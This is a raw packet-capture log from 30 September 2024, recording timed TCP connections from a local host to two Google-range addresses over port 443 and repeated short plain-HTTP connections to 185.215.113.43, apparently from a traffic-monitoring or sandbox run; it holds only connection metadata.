Sep 30, 2024 09:52:32.018697977 CEST	443	50767	142.250.185.132	192.168.2.5
Sep 30, 2024 09:52:32.018886089 CEST	50767	443	192.168.2.5	142.250.185.132
Sep 30, 2024 09:52:32.021667004 CEST	50767	443	192.168.2.5	142.250.185.132
Sep 30, 2024 09:52:32.021678925 CEST	443	50767	142.250.185.132	192.168.2.5
Sep 30, 2024 09:52:32.681210041 CEST	443	50767	142.250.185.132	192.168.2.5
Sep 30, 2024 09:52:32.681549072 CEST	50767	443	192.168.2.5	142.250.185.132
Sep 30, 2024 09:52:32.681575060 CEST	443	50767	142.250.185.132	192.168.2.5
Sep 30, 2024 09:52:32.681885958 CEST	443	50767	142.250.185.132	192.168.2.5
Sep 30, 2024 09:52:32.682429075 CEST	50767	443	192.168.2.5	142.250.185.132
Sep 30, 2024 09:52:32.682486057 CEST	443	50767	142.250.185.132	192.168.2.5
Sep 30, 2024 09:52:32.732765913 CEST	50767	443	192.168.2.5	142.250.185.132
Sep 30, 2024 09:52:32.978384018 CEST	50766	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:32.978702068 CEST	50768	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:33.205018997 CEST	80	50768	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:33.205116034 CEST	50768	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:33.205317020 CEST	50768	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:33.209481955 CEST	80	50766	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:33.209578037 CEST	50766	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:33.210127115 CEST	80	50768	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:33.901300907 CEST	80	50768	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:33.905093908 CEST	50768	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:35.517033100 CEST	50768	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:35.517496109 CEST	50769	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:35.711581945 CEST	80	50769	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:35.711719036 CEST	50769	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:35.711817980 CEST	80	50768	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:35.711848974 CEST	50769	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:35.712045908 CEST	50768	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:35.716837883 CEST	80	50769	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:36.430608034 CEST	80	50769	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:36.430689096 CEST	50769	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:37.938014030 CEST	50770	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:37.938014030 CEST	50769	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:37.942925930 CEST	80	50770	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:37.943078995 CEST	50770	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:37.943118095 CEST	80	50769	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:37.943192005 CEST	50769	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:37.943294048 CEST	50770	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:37.948036909 CEST	80	50770	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:38.658644915 CEST	80	50770	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:38.658703089 CEST	50770	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:40.375809908 CEST	50770	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:40.376272917 CEST	50772	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:40.381115913 CEST	80	50772	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:40.381172895 CEST	50772	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:40.381206036 CEST	80	50770	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:40.381253004 CEST	50770	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:40.381392956 CEST	50772	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:40.386159897 CEST	80	50772	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:41.108294010 CEST	80	50772	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:41.108381987 CEST	50772	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:42.066696882 CEST	50774	443	192.168.2.5	142.250.74.206
Sep 30, 2024 09:52:42.066730022 CEST	443	50774	142.250.74.206	192.168.2.5
Sep 30, 2024 09:52:42.070929050 CEST	50774	443	192.168.2.5	142.250.74.206
Sep 30, 2024 09:52:42.070929050 CEST	50774	443	192.168.2.5	142.250.74.206
Sep 30, 2024 09:52:42.070957899 CEST	443	50774	142.250.74.206	192.168.2.5
Sep 30, 2024 09:52:42.579535007 CEST	443	50767	142.250.185.132	192.168.2.5
Sep 30, 2024 09:52:42.579602957 CEST	443	50767	142.250.185.132	192.168.2.5
Sep 30, 2024 09:52:42.579647064 CEST	50767	443	192.168.2.5	142.250.185.132
Sep 30, 2024 09:52:42.628470898 CEST	50772	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:42.628865957 CEST	50775	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:42.633594990 CEST	80	50772	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:42.633644104 CEST	50772	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:42.633651972 CEST	80	50775	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:42.633704901 CEST	50775	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:42.643374920 CEST	50775	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:42.648195028 CEST	80	50775	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:42.700014114 CEST	443	50774	142.250.74.206	192.168.2.5
Sep 30, 2024 09:52:42.700339079 CEST	50774	443	192.168.2.5	142.250.74.206
Sep 30, 2024 09:52:42.700361967 CEST	443	50774	142.250.74.206	192.168.2.5
Sep 30, 2024 09:52:42.700726986 CEST	443	50774	142.250.74.206	192.168.2.5
Sep 30, 2024 09:52:42.701333046 CEST	50774	443	192.168.2.5	142.250.74.206
Sep 30, 2024 09:52:42.701394081 CEST	443	50774	142.250.74.206	192.168.2.5
Sep 30, 2024 09:52:42.701633930 CEST	50774	443	192.168.2.5	142.250.74.206
Sep 30, 2024 09:52:42.701633930 CEST	50774	443	192.168.2.5	142.250.74.206
Sep 30, 2024 09:52:42.701659918 CEST	443	50774	142.250.74.206	192.168.2.5
Sep 30, 2024 09:52:42.734658957 CEST	50767	443	192.168.2.5	142.250.185.132
Sep 30, 2024 09:52:42.734675884 CEST	443	50767	142.250.185.132	192.168.2.5
Sep 30, 2024 09:52:42.735058069 CEST	50776	443	192.168.2.5	142.250.74.206
Sep 30, 2024 09:52:42.735080957 CEST	443	50776	142.250.74.206	192.168.2.5
Sep 30, 2024 09:52:42.735133886 CEST	50776	443	192.168.2.5	142.250.74.206
Sep 30, 2024 09:52:42.735474110 CEST	50776	443	192.168.2.5	142.250.74.206
Sep 30, 2024 09:52:42.735486031 CEST	443	50776	142.250.74.206	192.168.2.5
Sep 30, 2024 09:52:42.976109028 CEST	443	50774	142.250.74.206	192.168.2.5
Sep 30, 2024 09:52:42.976244926 CEST	443	50774	142.250.74.206	192.168.2.5
Sep 30, 2024 09:52:42.976289988 CEST	50774	443	192.168.2.5	142.250.74.206
Sep 30, 2024 09:52:42.976677895 CEST	50774	443	192.168.2.5	142.250.74.206
Sep 30, 2024 09:52:42.976691961 CEST	443	50774	142.250.74.206	192.168.2.5
Sep 30, 2024 09:52:43.354041100 CEST	80	50775	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:43.357203007 CEST	50775	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:43.382910967 CEST	443	50776	142.250.74.206	192.168.2.5
Sep 30, 2024 09:52:43.389269114 CEST	50776	443	192.168.2.5	142.250.74.206
Sep 30, 2024 09:52:43.389286041 CEST	443	50776	142.250.74.206	192.168.2.5
Sep 30, 2024 09:52:43.389659882 CEST	443	50776	142.250.74.206	192.168.2.5
Sep 30, 2024 09:52:43.390337944 CEST	50776	443	192.168.2.5	142.250.74.206
Sep 30, 2024 09:52:43.390337944 CEST	50776	443	192.168.2.5	142.250.74.206
Sep 30, 2024 09:52:43.390353918 CEST	443	50776	142.250.74.206	192.168.2.5
Sep 30, 2024 09:52:43.390399933 CEST	443	50776	142.250.74.206	192.168.2.5
Sep 30, 2024 09:52:43.390403032 CEST	50776	443	192.168.2.5	142.250.74.206
Sep 30, 2024 09:52:43.390435934 CEST	443	50776	142.250.74.206	192.168.2.5
Sep 30, 2024 09:52:43.436999083 CEST	50776	443	192.168.2.5	142.250.74.206
Sep 30, 2024 09:52:43.664702892 CEST	443	50776	142.250.74.206	192.168.2.5
Sep 30, 2024 09:52:43.664844036 CEST	443	50776	142.250.74.206	192.168.2.5
Sep 30, 2024 09:52:43.673156977 CEST	50776	443	192.168.2.5	142.250.74.206
Sep 30, 2024 09:52:43.773258924 CEST	50776	443	192.168.2.5	142.250.74.206
Sep 30, 2024 09:52:43.773284912 CEST	443	50776	142.250.74.206	192.168.2.5
Sep 30, 2024 09:52:44.970773935 CEST	50775	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:44.971453905 CEST	50777	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:44.976021051 CEST	80	50775	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:44.976078033 CEST	50775	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:44.976397991 CEST	80	50777	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:44.976454973 CEST	50777	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:44.976586103 CEST	50777	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:44.981530905 CEST	80	50777	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:44.983335018 CEST	49715	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:52:45.294682980 CEST	49715	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:52:45.687813044 CEST	80	50777	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:45.687905073 CEST	50777	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:45.904064894 CEST	49715	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:52:47.111186028 CEST	49715	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:52:47.204287052 CEST	50777	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:47.204287052 CEST	50778	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:47.209156990 CEST	80	50778	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:47.209810972 CEST	50778	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:47.210087061 CEST	80	50777	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:47.210122108 CEST	50778	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:47.210205078 CEST	50777	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:47.214867115 CEST	80	50778	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:47.904341936 CEST	80	50778	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:47.904512882 CEST	50778	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:49.513019085 CEST	49715	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:52:49.531812906 CEST	50779	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:49.531827927 CEST	50778	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:49.536645889 CEST	80	50779	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:49.536809921 CEST	50779	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:49.536935091 CEST	50779	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:49.537126064 CEST	80	50778	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:49.537319899 CEST	50778	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:49.542167902 CEST	80	50779	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:50.246956110 CEST	80	50779	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:50.247030973 CEST	50779	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:51.750600100 CEST	50779	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:51.750607967 CEST	50780	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:51.756165981 CEST	80	50780	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:51.756234884 CEST	80	50779	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:51.756377935 CEST	50779	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:51.756382942 CEST	50780	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:51.756686926 CEST	50780	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:51.762172937 CEST	80	50780	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:52.468004942 CEST	80	50780	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:52.468076944 CEST	50780	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:54.110569954 CEST	50780	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:54.111035109 CEST	50781	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:54.116410017 CEST	80	50780	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:54.116560936 CEST	80	50781	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:54.116601944 CEST	50780	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:54.116796017 CEST	50781	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:54.116888046 CEST	50781	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:54.122174978 CEST	80	50781	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:54.313834906 CEST	49715	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:52:54.808527946 CEST	80	50781	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:54.808605909 CEST	50781	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:56.347064972 CEST	50781	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:56.347418070 CEST	50782	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:56.352246046 CEST	80	50781	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:56.352293015 CEST	50781	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:56.352617979 CEST	80	50782	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:56.352674007 CEST	50782	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:56.352816105 CEST	50782	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:56.357742071 CEST	80	50782	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:57.080008984 CEST	80	50782	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:57.080097914 CEST	50782	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:58.705794096 CEST	50782	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:58.706173897 CEST	50784	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:58.711010933 CEST	80	50782	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:58.711107016 CEST	50782	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:58.711338997 CEST	80	50784	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:58.711468935 CEST	50784	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:58.711563110 CEST	50784	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:58.717551947 CEST	80	50784	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:59.419368029 CEST	80	50784	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:59.422827959 CEST	50784	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:59.545293093 CEST	50784	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:52:59.550986052 CEST	80	50784	185.215.113.43	192.168.2.5
Sep 30, 2024 09:52:59.551103115 CEST	50784	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:00.939193964 CEST	50785	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:00.944190025 CEST	80	50785	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:00.944302082 CEST	50785	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:00.944514990 CEST	50785	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:00.949345112 CEST	80	50785	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:01.666476011 CEST	80	50785	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:01.667625904 CEST	50785	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:03.304126978 CEST	50785	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:03.304126978 CEST	50786	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:03.309103966 CEST	80	50786	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:03.309257984 CEST	80	50785	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:03.309427977 CEST	50785	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:03.309427977 CEST	50786	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:03.309628963 CEST	50786	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:03.314353943 CEST	80	50786	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:03.921046972 CEST	49715	80	192.168.2.5	185.215.113.103
Sep 30, 2024 09:53:04.009957075 CEST	80	50786	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:04.012854099 CEST	50786	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:05.515645981 CEST	50786	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:05.516125917 CEST	50787	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:05.521097898 CEST	80	50786	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:05.521220922 CEST	50786	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:05.521250963 CEST	80	50787	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:05.524987936 CEST	50787	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:05.525322914 CEST	50787	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:05.530324936 CEST	80	50787	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:06.228219032 CEST	80	50787	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:06.228318930 CEST	50787	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:07.859057903 CEST	50787	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:07.862751007 CEST	50788	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:07.864842892 CEST	80	50787	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:07.866873980 CEST	50787	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:07.868474007 CEST	80	50788	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:07.870879889 CEST	50788	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:07.871129990 CEST	50788	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:07.876899004 CEST	80	50788	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:08.583291054 CEST	80	50788	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:08.583339930 CEST	50788	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:08.625001907 CEST	50788	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:08.630311966 CEST	80	50788	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:08.630352974 CEST	50788	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:10.093817949 CEST	50789	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:10.098870993 CEST	80	50789	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:10.102870941 CEST	50789	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:10.102952003 CEST	50789	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:10.107933044 CEST	80	50789	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:10.835042953 CEST	80	50789	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:10.835112095 CEST	50789	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:12.489509106 CEST	50789	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:12.490080118 CEST	50790	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:12.494704962 CEST	80	50789	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:12.494776011 CEST	50789	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:12.494858980 CEST	80	50790	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:12.494934082 CEST	50790	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:12.511914968 CEST	50790	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:12.516872883 CEST	80	50790	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:12.785269976 CEST	50791	443	192.168.2.5	142.250.74.206
Sep 30, 2024 09:53:12.785336971 CEST	443	50791	142.250.74.206	192.168.2.5
Sep 30, 2024 09:53:12.785413027 CEST	50791	443	192.168.2.5	142.250.74.206
Sep 30, 2024 09:53:12.787410021 CEST	50791	443	192.168.2.5	142.250.74.206
Sep 30, 2024 09:53:12.787425041 CEST	443	50791	142.250.74.206	192.168.2.5
Sep 30, 2024 09:53:12.789987087 CEST	50792	443	192.168.2.5	142.250.74.206
Sep 30, 2024 09:53:12.790087938 CEST	443	50792	142.250.74.206	192.168.2.5
Sep 30, 2024 09:53:12.790158987 CEST	50792	443	192.168.2.5	142.250.74.206
Sep 30, 2024 09:53:12.790632963 CEST	50792	443	192.168.2.5	142.250.74.206
Sep 30, 2024 09:53:12.790685892 CEST	443	50792	142.250.74.206	192.168.2.5
Sep 30, 2024 09:53:13.211534023 CEST	80	50790	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:13.216099024 CEST	50790	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:13.434845924 CEST	443	50792	142.250.74.206	192.168.2.5
Sep 30, 2024 09:53:13.435303926 CEST	50792	443	192.168.2.5	142.250.74.206
Sep 30, 2024 09:53:13.435380936 CEST	443	50792	142.250.74.206	192.168.2.5
Sep 30, 2024 09:53:13.435511112 CEST	443	50791	142.250.74.206	192.168.2.5
Sep 30, 2024 09:53:13.435714960 CEST	50791	443	192.168.2.5	142.250.74.206
Sep 30, 2024 09:53:13.435734034 CEST	443	50791	142.250.74.206	192.168.2.5
Sep 30, 2024 09:53:13.435794115 CEST	443	50792	142.250.74.206	192.168.2.5
Sep 30, 2024 09:53:13.436115980 CEST	443	50791	142.250.74.206	192.168.2.5
Sep 30, 2024 09:53:13.436407089 CEST	50792	443	192.168.2.5	142.250.74.206
Sep 30, 2024 09:53:13.436500072 CEST	443	50792	142.250.74.206	192.168.2.5
Sep 30, 2024 09:53:13.436764956 CEST	50791	443	192.168.2.5	142.250.74.206
Sep 30, 2024 09:53:13.436825037 CEST	443	50791	142.250.74.206	192.168.2.5
Sep 30, 2024 09:53:13.437041044 CEST	50792	443	192.168.2.5	142.250.74.206
Sep 30, 2024 09:53:13.437103033 CEST	50792	443	192.168.2.5	142.250.74.206
Sep 30, 2024 09:53:13.437115908 CEST	443	50792	142.250.74.206	192.168.2.5
Sep 30, 2024 09:53:13.437196970 CEST	50791	443	192.168.2.5	142.250.74.206
Sep 30, 2024 09:53:13.437256098 CEST	50791	443	192.168.2.5	142.250.74.206
Sep 30, 2024 09:53:13.437261105 CEST	443	50791	142.250.74.206	192.168.2.5
Sep 30, 2024 09:53:13.715660095 CEST	443	50791	142.250.74.206	192.168.2.5
Sep 30, 2024 09:53:13.715960979 CEST	443	50791	142.250.74.206	192.168.2.5
Sep 30, 2024 09:53:13.716197968 CEST	50791	443	192.168.2.5	142.250.74.206
Sep 30, 2024 09:53:13.716403008 CEST	50791	443	192.168.2.5	142.250.74.206
Sep 30, 2024 09:53:13.716414928 CEST	443	50791	142.250.74.206	192.168.2.5
Sep 30, 2024 09:53:13.718324900 CEST	443	50792	142.250.74.206	192.168.2.5
Sep 30, 2024 09:53:13.718460083 CEST	443	50792	142.250.74.206	192.168.2.5
Sep 30, 2024 09:53:13.718537092 CEST	50792	443	192.168.2.5	142.250.74.206
Sep 30, 2024 09:53:13.719110966 CEST	50792	443	192.168.2.5	142.250.74.206
Sep 30, 2024 09:53:13.719156981 CEST	443	50792	142.250.74.206	192.168.2.5
Sep 30, 2024 09:53:14.722853899 CEST	50790	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:14.723171949 CEST	50793	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:14.728746891 CEST	80	50793	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:14.728822947 CEST	50793	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:14.729001045 CEST	80	50790	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:14.729049921 CEST	50790	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:14.729187965 CEST	50793	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:14.734114885 CEST	80	50793	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:15.437668085 CEST	80	50793	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:15.437863111 CEST	50793	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:17.052274942 CEST	50793	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:17.052592039 CEST	50794	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:17.057514906 CEST	80	50793	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:17.057531118 CEST	80	50794	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:17.057586908 CEST	50793	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:17.057630062 CEST	50794	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:17.057775021 CEST	50794	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:17.062510014 CEST	80	50794	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:17.768163919 CEST	80	50794	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:17.768254995 CEST	50794	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:19.282672882 CEST	50795	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:19.282680988 CEST	50794	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:19.290524960 CEST	80	50795	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:19.290927887 CEST	50795	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:19.290927887 CEST	50795	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:19.291786909 CEST	80	50794	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:19.295332909 CEST	50794	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:19.299124956 CEST	80	50795	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:20.160742998 CEST	80	50795	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:20.162854910 CEST	50795	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:21.781896114 CEST	50795	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:21.782744884 CEST	50796	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:21.787436962 CEST	80	50795	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:21.787509918 CEST	80	50796	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:21.787642002 CEST	50795	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:21.787731886 CEST	50796	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:21.788002014 CEST	50796	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:21.792784929 CEST	80	50796	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:22.513633013 CEST	80	50796	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:22.513699055 CEST	50796	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:24.032403946 CEST	50796	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:24.032408953 CEST	50797	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:24.038136005 CEST	80	50797	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:24.038321018 CEST	80	50796	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:24.040896893 CEST	50796	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:24.040898085 CEST	50797	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:24.041069984 CEST	50797	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:24.046782017 CEST	80	50797	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:24.770483971 CEST	80	50797	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:24.770560980 CEST	50797	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:26.377548933 CEST	50797	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:26.377974987 CEST	50798	80	192.168.2.5	185.215.113.43
